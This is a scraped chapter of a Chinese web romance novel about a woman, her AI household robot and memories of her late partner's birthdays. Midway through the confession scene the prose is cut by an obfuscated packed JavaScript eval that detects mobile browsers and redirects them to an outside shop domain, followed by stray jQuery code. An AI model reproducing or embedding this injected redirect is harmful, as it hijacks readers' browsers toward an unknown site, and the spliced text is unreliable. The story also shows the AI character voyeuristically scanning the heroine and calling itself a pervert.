文趣网 > 都市小说 > 迟到也没关系 > 8. 不世画×4
    5月21日晚10:01,U大东区大西门。

    沈疏桐拉开车门上车,呆呆坐在驾驶位的玉兔二号看她一眼,慢吞吞道:“怎么今天这么晚。”

    平常再陪学生一起卷,晚上九点多也就回家了,今天都十点了,而且实验室分明在西区,沈疏桐却是从东区出来的。

    虽然知道沈疏桐可能只是在忙什么事儿,又或者真像她昨天查的那样去上金融系的课了,这个系的课都在东区,玉兔二号是知道的。可知道是一回事,他不可避免地去想,沈疏桐该不会是真有新欢了吧,今天去见野男人了?

    玉兔二号电子眼闪了闪,机械手指握方向盘的力气都莫名大了很多,他想:哼,常玉死后这才多少天呢,坏桐桐。

    夜晚的南城市安静下来,路面少见行人与车辆,只有雾蒙蒙的路灯和凉下来的夜风。

    车内,沈疏桐歪在副驾,双手抱着平板,饶有趣味地瞧着。平板竖着的角度使得玉兔二号没有办法窥见屏幕上的任何内容,他一边开车一边捉急:不会是在和野男人聊天吧,不会吧不会吧。

    车停在路口等红绿灯的片刻,沈疏桐把平板举给玉兔二号看,问他:“你的散热是不是出问题了,开个车而已,也没干什么大型计算任务,怎么CPU和GPU温度这么高?”

    ——原来沈疏桐一直在用平板视|奸他的系统温度。

    玉兔二号:“……”他不敢说话,只悄悄想,如果是沈疏桐的话,他温度还能再高一点。

    回到家以后,玉兔二号把沈疏桐塞进浴缸搓澡。这个AI今天与平时很不一样,他的电子眼扫描器一样扫过沈疏桐白腻的身体,就像是小狗在视察自己的领地。如果他有嗅觉,肯定还会凑上去嗅一嗅桐桐的身上有没有野男人留下的标记。他知道自己这样不对,用他们人类的话来讲——他就是个着了魔的大变态!好在AI没有羞耻心,他心安理得地变态。

    被玉兔二号洗刷干净、吹完头发又穿上香香暖暖的睡衣后,尽管已经很晚了,沈疏桐却没有回房睡觉。她径直去了书房,她可没忘记监控视频被覆盖的事儿。

    果不其然,她的日记本又增添了新的内容。

    203x年5月21日,晴

    “今天很有些心烦意乱,很想搞一些破坏,也很想桐桐抱抱我T_T”

    嗯,还是那个哈士奇性格,一得不到注意就要搞破坏拆家,以此吸引注意,沈疏桐如是评价,但这次居然没有再啰里吧嗦敦促她吃饭,真是稀奇。

    今天书桌上还多了一个速写本,是常玉没用完的。

    这画得像是漫画,主角是她和常玉,沈疏桐逐页细看起来。

    2018年10月1日,高三上学期,一中校外租房内。

    高三国庆只放3天假,沈疏桐抱着夏凉被睡得正香,却突然被一阵敲门声吵醒,她揉揉迷蒙的睡眼,摁亮手机一看,才早上5:20,她一阵气闷:常玉疯了吗?上课都不带这么早的。

    她还想再睡,所以没换下睡衣,踩着鞋来到门后,门打开一条缝,她只有一个脑袋探了出去,顶着一头鸟窝问常玉:“你干嘛?”没睡醒,声音糯糯的,还带着点怨气。

    常玉还是第一次见到沈疏桐这副模样,往常她都是收拾好才出来的,因此被萌了一脸,他一边想着,这真是今年生日收到的第一份好礼了,一边咋咋呼呼对沈疏桐道:“快起床,太阳晒屁股了。”

    “10月了,太阳往南回归线移动了,才没这么早晒屁股,常玉你是不是刚学考完就把地理忘光了。”沈疏桐恹恹道。

    “那我不管,今天我生日嘛,你快起床,我们一起去迪士尼玩好不好,我爹不疼娘不爱,还从没人陪我去过呢。”常玉既耍无赖又卖惨。

    准确来说,是这个时间点的沈疏桐没有陪常玉去迪士尼,上辈子是有的。

    沈疏桐一听缘由就消了气,她立刻道:“你等我一下,马上就好。”

    南城10月的清晨已有些凉风了,晨间的薄雾还没有完全散去,空气中弥漫着爆米花和咖啡的甜香。

    沈疏桐戴着个宽檐草帽,和常玉一起排队。在知道早享卡、尊享卡的价格以及迪士尼国庆门票上调的百分比后,她在心里骂了一句败家子儿,随即又想到今天是败家子儿的生日,她不能扫兴,要一起好好玩,遂麻溜地把这个念头咽回了肚里。

    7:30,过了安检,而后又在闸机检票入园后,常玉一把取下沈疏桐的书包背在自己身上,隔着纤薄的防晒衣握着沈疏桐的手腕,拉起她就随着人群跑。

    沈疏桐看他熟门熟路,完全不带思考往前冲的样子,问:“你怎么……看着好像还挺熟的,不是说第一次来吗?”

    前后叠加的两个书包随着奔跑拍打在常玉背上,混合着书包里零碎物品的撞击,发出叮叮当当的声音,常玉微微有些气喘:“是这辈子第一次来啊,我提前查过攻略的,所以熟。”

    其实攻略是抄的上辈子沈疏桐的作业。常玉心知,他手中拉着的这个女孩儿,是一个超绝大J人,凡是由她计划的出行,必定是妥妥贴贴,时间算得分毫不差。他上辈子第一次跟沈疏桐来时,被这女孩子的计划能力和行动能力经惊艳了许久。

    沈疏桐听了他的话想的却是:这家伙要是做题能有这个劲儿,别说三本了,一本也不是问题。考虑到今天是常玉生日,她没把这句话说出口,只是在心里转悠了一圈。

    他们玩的第一个项目是七个小矮人矿山车,常玉全程惊叫,坐在他身边的沈疏桐倒是一脸淡定,只在列车进入矿洞时微微惊了一惊。

    从七个小矮人矿山车出来,迎面走来一位姑娘,看着也是游客装扮,那姑娘于沈疏桐身前停步,塞给她一枝洋桔梗,洁白泛着一点粉的花瓣尖甚至还带着露水。那姑娘朝沈疏桐轻轻一笑,祝福道:“祝愿你拥有永恒的爱与感动。”说完,她挥了挥手,转身就跑了。

    沈疏桐心中讶异,半晌反应过来,上前去追,却被常玉拉回来:“走啦走啦,应该是园区工作人员的惊喜策划,桐桐被幸运地挑中啦,别磨蹭了,快去下一个项目,晚了人多了。”

    沈疏桐将信将疑,被常玉拉着往前走。

    是吗?南城迪士尼居然还有这样的惊喜策划?

    第二个项目是热力追踪,沈疏桐刚体验了一场五彩绚烂的视觉盛宴,还没缓上一口气,又被另一个女孩塞了一枝向日葵:“送你一缕被早晨轻轻磕破的暖阳。”

    从飞跃地平线出来,是一枝柔嫩的紫罗兰,来人送上的祝福是:“一生低首紫罗兰。”

    沈疏桐新奇地凑到花间嗅了嗅,常玉见状轻声笑了笑,等那送花的姑娘走远了,才补充道:“是周瘦鹃的诗,‘我爱此花香静远,一生低首紫罗兰。’她在祝福你,拥有紫罗兰一般的永恒爱意。”

    沈疏桐打量一眼周围的人群,没有人像她一样出一个项目就被所谓的工作人员送花的,她狐疑看向常玉:“你是不是做了什么?”

    常玉顾左右而言他:“呃……这个嘛……反正肯定不是刚满18岁的常玉做的。”

    嗯,严格意义来讲确实不是,算上上辈子活的时间,他不止18岁了。

    我看起来像是很好骗的样子吗?沈疏桐心道。

    她慢吞吞道:“喂,你是不是忘了你钱都在我这里,整这个得花钱吧,我查一查账单就知道了哦。”

    常玉哈哈大小,他跑开几步,倒退着看向沈疏桐喊道:“大过节的查什么账,别婆婆妈妈地在意这些细节啦,沈疏桐,我今天过生日,我很开心——”

    周围的人听见声响都善意地看向他们。

    沈疏桐笑了,她一边追上去,一边在心里道:那我希望常玉,以后每一天都开心。

    从加勒比海盗出来,是一枝青翠的铃兰:“幸福归来。”

    而后两人看完了花车巡游,沈疏桐的童年过得并不丰富多彩,甚至可以说是相当匮乏,巡游的好些角色她都闻所未闻,常玉会小声地在她耳边娓娓道来。

    自雷鸣山漂流被泼了一身水,凉沁沁地下来,又收到了一束精灵般的雪柳:“殊胜与超凡。”这五个字不需要额外的释义与修饰,本身就是最好的祝福。

    从创极速光轮出来,沈疏桐最后收到了一大捧满天星,这次来人什么也没说,对她笑了笑便转身离开。

    夜晚,当五光十色的绚烂烟火依次绽放,雷鸣般的嘈杂人声之间,常玉弯腰扶住沈疏桐的膝盖,将沈疏桐一把提起坐在自己的脖颈上,他很有分寸地没有去扶沈疏桐的臀部,而是稳稳地扣住膝盖。

    沈疏桐捧着满天星,没有去看满天的烟火,反而低头去看一脸傻笑的常玉。

    ——他好像真的很开心,那我也……很开心。

    沈疏桐陪着常玉过生日,就好像自己也第一次在爱意和祝福中过生日,这份快乐以此往前,顺着时光的轨道,无声地治愈了她悄怆的童年伤痕。她从此,也是一个幸福快乐的小姑娘了。

    回家的路上,沈疏桐问:“不是你过生日吗?怎么收到花的是我呢。”

    常玉的兴奋劲儿还没过去,一路上不仅跳地面格子,还踢小石子玩儿,和个多重症患者似的停不下来,他反问:“那你收到花,会开心吗?”

    沈疏桐不扭捏也不做作,诚实回答:“会。”

    常玉爽朗大笑:“那不就行了。我也很开心呀。你怎么知道我今天没有收到礼物呢,在你不知道的时候,礼物早就送到我手里啦。”

    那男孩子一双亮晶晶的眼睛在夜色中熠熠生辉,却温和不灼人,沈疏桐没有被那光亮吓得躲避,她只是安静地瞧着。

    常玉的爱意藏也藏不住,除非他不叫沈疏桐看他的眼。他从来都不说,只是给予,就像沈疏桐手中那捧满天星的花语——默默守护的爱意,不言不语,却绝不浅淡。

    他想从我这里得到什么呢?沈疏桐不禁心想。

    ——17岁的沈疏桐是什么都给不出的,她是生来长在烂泥里的花,要很努力才能得到甘霖与阳光,必须一步也不能踏错才有一丝机会走到赫赫天光之下。她记得曾有一位先贤哲人说过“爱情是很需要空气的奢侈品,当你忙到喘不上气时,不要去碰它。”

    沈疏桐的人生没有试错空间,因此给不出任何常玉想要的爱意。

    至少,现在不行。

    ***

    17岁的沈疏桐给不出的,18岁的沈疏桐却认为自己有了一点点触碰的能力。

    2019年10月1日,那时他们已高考完,正在大一上学期。远道而来上学的萌新们起初的新奇劲儿早已被军训、单变量微积分、线性代数等课程消磨殆尽,正是思念家乡的时候,是以十一小长假整个U大称得上是人去楼空。沈疏桐和常玉却没有这样的顾虑,他二人是南城市本地人,更无家可想,两个人待在一起就是家。

    沈疏桐高考完,拿到U大录取通知书后,整个人焕然一新,更多了一股说不出的气韵。常玉观察许久后发现,那股气韵叫松弛——她好像突然卸下了一部分重担,不再死死盯住道路前方某个遥不可及的点惶惶不可终日,她开始知道,自己有能力掌控命运的航向,尽管只是极其微弱的一点点,那也比飘在海上随波逐流,一个浪头扑来便会船毁人亡要好得多。

    这种松弛不仅使得沈疏桐做事更有动力,更释放她压抑日久的天性。常玉惊奇地发现,这瞧着文弱秀雅的姑娘,居然带着一点搞极限户外运动的疯批属性。

    具体表现在,沈疏桐曾计划半夜从U大出发,沿路骑行几十公里去大湖边看日出,她还努力做家教攒钱买单反和三脚架,期望有朝一日去南城市周遭的几座名山拍星空。谁也不知道她为什么分明小小的一只,头顶还不到常玉下巴高,身体里却潜藏着用不完的精力和能量。

    日出和星空暂时没有看成,他们先一起看了日落。

    10月1日,南城市郊区将举行一场户外运动爱好者的盛典——百公里徒步毅行挑战。赛事分为3组,亲子组15KM;情侣组52.1KM;终点赛100KM。赛事路线环绕南城湖而成,如今湖水治理颇有成效,沿岸风景雅致自然,与城市截然不同。

    九月中旬的某天,两人一起吃午饭时,沈疏桐偶然看见赛事宣传链接,立即兴致勃勃地拿给常玉看。常玉差点惊掉下巴,但沈疏桐一双亮晶晶的眼期待地看着他,他一个拒绝的字都说不出口,只好舍命陪君子。

    15KM沈疏桐嫌不过瘾,100KM又太长,非专业运动员走完后估计接下来一整周人都是废掉的。于是两人一合计,选择了52.1KM,并且为了省钱,报的情侣组。是的,单人参赛者也是可以走52.1KM拿奖牌发朋友圈的,只是单人报名费比情侣组的人均更贵而已。

    可恶,赛事举办单位肯定是看不起广大单身狗,不仅要在秀恩爱上伤害他们幼小的心灵,还要在钱包上进行二次伤害。

    10月1日清晨,沈疏桐早早起床收拾好所有装备,做好防晒,而后像做贼一样偷偷溜去U大西校区东门,把自己提早点的一束鲜花外卖一整个塞进超大书包里。书包瞬间就膨胀了起来,但实际重量却与外观并不相符合。

    不一会儿,常玉抵达东门,一眼瞧见沈疏桐背后的大书包就伸手去拉肩带:“出去徒步怎么还背这么大一个书包?装了些啥玩意儿,给我吧,我给你背。”

    沈疏桐轻轻跳开一步,躲开了常玉的手,她不去看他的眼睛,一脸淡定:“没什么,我自己背就行。”

    常玉掂了掂书包,发现不重,也没再坚持。

    二人坐地铁前往出发点。一下地铁站,沈疏桐就感受到了人们对于赛事的热情,远远地已经飘来出发点的广播音乐了,奔涌的人群中,有年轻的小伙子小姑娘,有微微发福带娃的中年夫妻,有精神矍铄白发苍颜的老头儿,更有一对年轻小夫妻推着几个月小孩儿的婴儿车一起参赛。

    九点,一声枪响,洋溢着喜悦的喧嚣人潮随着地面的标记往前奔去,有专业运动员已遥遥领先了!

    沈疏桐和常玉并不着急,他们用比寻常步行稍快的速度,沿南城湖一路观景一路前行。

    10月,湖边的芦苇荡子早已枯黄,只剩洁白的苇絮随风飘扬,秋风拂过广袤的湖面,带来一阵阵夹着腥味的湖风,远远地能瞅见三两只小船。

    中午,两人在15KM处的补给站吃了午饭,主要是香蕉、士力架、红牛等补充能量的食物。稍作休息后,两人继续前行。先头30KM是比较好坚持的,两人一路有说有笑,就好像有说不完的话,时间过得很快便不觉难熬。

    自30KM起,几乎是走半公里,便需要在沿路的石墩子上坐下休息片刻了,不是体力跟不上,而是膝盖已开始隐隐作痛。此时已近黄昏,水天一色处染上了蓝调,偶有几朵层云的边缘泛出金色的光辉,那金色又渐渐被抹上赭红的颜料,一片金红交错里,滚圆的落日消融在地平线里。

    湖面的粼粼波光也变得红彤彤,一两尾鱼不时跃出,与两岸的徒步者们一道欣赏这神明的恩赐。

    他们此时身处一座废弃的旧码头,周遭野草丛生,还停泊着一艘锈蚀的渔船,时光在它的身上留下了斑驳的痕迹,它再也不能启航。

    人声逐渐寥落,休息充足的挑战者们三三两两起身,前路还很长,不出意外,他们大约要九十点才能抵达情侣组的半程赛事终点。

    沈疏桐却并不着急,她坐在码头的台阶上,静静围观着天穹被浓墨深染。最后一丝微光消失殆尽时,她心跳不可抑制地快起来。湖边一片寂静,偶尔扑通的一两声,不知是鱼落入水面,又或是她响亮得过分的心跳。

    她也不回头,就那样望着远方,轻声道:“喂,常玉,19岁生日快乐啊。”

    常玉本是站在她身后默默注视着她,闻言笑起来:“真好,你又陪我过了一个生日。”他想了想一整天的经历,道:“这个生日,确实过得很不寻常。”,尝试了一些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909434|213075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    以往从不敢想之事,意识到只要有心,生活中会有许多新奇与小确幸。

    说着,他走下一步台阶,在沈疏桐身侧坐下。

    沈疏桐笑:“那你今天生日,有没有什么愿望呀?”

    “愿望嘛,有很多,人总是贪心的嘛。不过眼下,却觉得就这样,已经很满足了。”

    ——和你一起做平凡安宁的人,能够安安静静看一场日落,已经很满足了。

    “唔,那你生日不许愿,我就许愿咯。人每年生日都有一个愿望,你不许,就平白浪费了,不如我来许。”

    常玉拖着腮,轻笑了起来,想去拽她的耳垂,最终只是帮她把歪了的帽檐扶正,说:“你这人怎么这样呢,还要用别人的生日愿望许愿。不过如果是你的话,我会大方地同意你借愿望的请求的。说吧,要许什么愿?”

    夜色下,沈疏桐偏头一眨也不眨地看着他,常玉的眼里还是藏不住的爱意。她笑起来,伸出一只手捂住常玉的双眼:“你不许动。”

    说着,她另一只手拉开书包拉链,单手捧出花束——那是一束玫瑰为主,辅以洋桔梗,尤加利叶,小雏菊装饰的花束。沈疏桐单手捧好花束,另一只手仍是捂着常玉的眼,走至常玉身前的台阶下,她问:“常玉,你觉得,今天的落日好看吗?”

    “好看啊。”和你一起看的落日没有不好看的。

    “那,我已经一个人看了四十四场日落了,你愿意以后的每一场落日都陪我一起看吗?”沈疏桐捂着常玉的手放下,双手捧着花束递给常玉。

    昏暗的夜色里,只有零星一两点灯光。

    常玉望着眼前的花束,呆呆地忘了反应。心跳在湖里炸开,血液蔓延向四肢百骸,震天的喜悦与酸楚,夹杂着惶恐一齐向他涌来。

    他仰头望向沈疏桐,那几乎是一个引颈受戮的姿势,他一寸一寸描摹眼前人的面容。

    很久很久以后,常玉回想起这一幕,都无法命名当时的感受。那种感觉就好像是,跨越时空而来的旅人终有了休憩的锚点。他上辈子23岁那年握着方向盘在各种极限赛道玩命赌车的惊险,假装若无其事地在机场和沈疏桐告别,把她送出国时的委屈和不舍,又或是,那其间甚至藏着零星他自己都不敢深想的不甘,都在这一刻少女温柔的注视中,被星光与湖风吹散了。

    他洒脱又怅然地大笑,笑着笑着又混入少许苦涩。他心想,这真是,真是很艰难的割舍啊。

    常玉站起身来,他扶住沈疏桐的双肩,示意她去看广阔的湖面。他对沈疏桐道:“过于绵长的湖岸线,有时看起来就像大海。如果南海里有一尾鲸,它从未去过其他海域,却认为自己唯爱南海的落日。它怎么知道是真的呢?兴许只是它从未见过其他大海的落日。”

    沈疏桐张了张嘴想说什么,常玉制止了她,他温柔地将她的鬓发别至耳后,几乎是强压着哽咽地道:“沈疏桐,我是一个古板又小气的人,我才不会允许你像学校里那些把恋爱当游戏玩的人一样来对我,我和人相爱的话,就要一辈子抓住人不放了,要结婚,要每天一起吃饭、睡觉,如果她乐意的话,我还想和她一起有个宝宝。”

    “可你才19岁,你将来有很广阔的人生,会博士毕业,会出国念博后,会开创自己的实验室,会认识许许多多优秀的人。你这么好,没有人会不爱你、不待你好。你怎么就知道,自己喜欢的是这个眼下一事无成,甚至连进U大校门都要你帮忙报备的常玉呢?”

    常玉从不怀疑自己对沈疏桐的爱意,他在中农药企第一次见到她的那一天,网瘾少年晚上回家打着游戏却突然开始琢磨沈疏桐名字的含义,从这一刻起,常玉就已经没有回头路可走了。他一个人坐在椅子上发呆,能从她的名字想到他们的一辈子,连家里房子怎么设计,小孩名姓都安排好了——前提是她愿意。

    可沈疏桐不是,她才19岁。19岁说大不大,说小不小,前额叶都没发育完全,光靠着激素的驱动,是没有办法一直在一起的。起初,大学生们靠着新鲜感或许能坚持数周至数月,可等新鲜感一过,就是无尽的争吵与谩骂,当初在QQ空间和朋友圈有多爱,分手时不体面的人,就能骂得有多难听。

    这不是说常玉认为沈疏桐会骂人,他只是觉得,沈疏桐有更大的选择权,她理应充分、审慎地考量自己的爱人。

    常玉可以接受自己从未拥有,却无法忍受失去。沈疏桐于他是最妖冶的曼珠陀罗,嗅上一口便无法祛除。如果沈疏桐爱他,又抛弃他,从天堂到地狱的落差,会叫常玉发疯。到那时候,他甚至会、甚至会想把她锁起来,不管她细弱的哀哭,对她做一些……

    他阴暗的念头在眼神触及沈疏桐时,就像沙滩的秽物遇上柔和的潮水,顷刻间被清洗干净。

    更何况——

    他问:“你又为什么爱我呢?”

    “如果是因为我对你好、陪伴你,那你不需要爱我,我也会这样待你。而如果你因为我待你好而选择爱我,这和人类对狗的爱毫无分别。沈疏桐,我想要的更多,我是个……很贪心的人,尤其是对你。”

    沈疏桐听懂了,眼前这个一看见她就笑起来,满眼盛放的爱意怎么也掩不住的人,他很不自信,很没有安全感。

    “哦。”她笑起来,双手捧着花收回来,认真对常玉道:“那你要努力一点哦,你说了,我这么好,很招人喜欢的。你要努力到,等我有一天,从千万朵玫瑰里挑中一枝独一无二的送给你,你能够开开心心,没有一点惶恐地收下它。我会监督你的。”

    “好啊。”常玉哈哈大笑,他弯下腰,一把将沈疏桐托上自己的背,三步并作两步沿着码头长长的台阶奔向岸边。

    夜风里,沈疏桐伏在他背上,一手捧着花,一手去擦常玉面颊的眼泪:“都走了三十多公里了,你怎么还这么有劲儿呢?”

    风声里传来常玉的回答:“我开心啊沈疏桐,这是我最快乐最快乐的一个生日,我收到了最好的生日礼物。将来有一天,我要变成沈疏桐独一无二的玫瑰。”

    沈疏桐也笑:“好啊。”

    摆烂王常玉连游戏也不打了,只偶尔还画点画挣外快给自己和沈疏桐加餐。他开始卷GPA,卷英语六级成绩,卷托福和雅思,他跑来U大蹭课,申请大学生创新训练项目积累科研经历,开始卷实习,开始早早地准备考研。

    沈疏桐保研到哪个学校,他决意就考到哪个学校。

    他还第一次开始思考未来的死亡事件,他现在不舍得去死了。他只要一想到未来有别的人陪沈疏桐过生日,陪沈疏桐去试这样那样的奇怪点子,他就嫉妒得发疯。

    对沈疏桐的爱意使得他有勇气抗争残酷的命运,那爱意与人类对宠物的爱意迥异,如果一定要命名的话,常玉会把它称作——明知不可为而为之。

    所爱隔山海,山海皆可平。

    另外,告白的事情怎么能让他家小姑娘来做呢?他很努力很努力,终得以有资格去奔赴一场盛大的爱意与告白。

    ***

    三十几岁的沈疏桐着一身柔软的睡衣,居住在常玉打造的安全屋里,在书房的暖灯下看画册。这画的都是她与常玉的过往,那场徒步至今回想起仍是历历在目。

    有些人说爱你,是为打造以爱之名的牢笼圈禁你、名正言顺地占有你;而常玉爱沈疏桐,却希望她能成为更好的自己——生长出最流畅漂亮的鳍,自由地在最广阔的海域里纵横,在她最属意的落日余晖下畅游栖息。

    沈疏桐看得意犹未尽,翻开下一页,却见空白的画纸上只有一个板板正正的4位密码框,下书一行字:

    请输入密码查看。

    监测到桐桐连日体重不增,请执行健康饮食计划,体重达标后即可获得密码查看漫画更新内容。要努力哟。

    字的右下角还画着一只猫猫打气表情包。

    沈疏桐无言半晌,心道:好家伙,难怪今天日记没有再提醒我好好吃饭了,原来在这等着呢。